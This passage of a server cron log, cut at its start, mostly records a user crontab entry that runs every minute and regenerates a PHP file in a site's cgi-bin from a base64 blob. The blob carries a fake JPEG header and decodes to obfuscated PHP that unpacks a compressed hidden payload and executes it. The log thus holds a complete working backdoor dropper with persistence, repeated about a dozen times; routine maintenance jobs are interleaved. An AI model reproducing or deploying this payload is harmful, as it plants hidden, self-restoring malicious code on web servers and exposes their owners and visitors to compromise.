&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:30:01 server CROND[858]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:30:01 server CROND[859]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 07:30:01 server CROND[860]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 07:30:01 server CROND[861]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 07:31:01 server CROND[1823]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:32:01 server CROND[2640]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:33:01 server CROND[3447]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:34:01 server CROND[4254]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:35:01 server CROND[5067]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 11 07:35:01 server CROND[5069]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 07:35:01 server CROND[5066]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 07:35:01 server CROND[5068]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 07:35:01 server CROND[5073]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:36:01 server CROND[5934]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:37:01 server CROND[6670]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:38:01 server CROND[7579]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:39:01 server CROND[8360]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:39:01 server CROND[8361]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 07:40:01 server CROND[9242]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 07:40:01 server CROND[9246]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:40:01 server CROND[9245]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 07:40:01 server CROND[9247]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 07:41:01 server CROND[10125]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
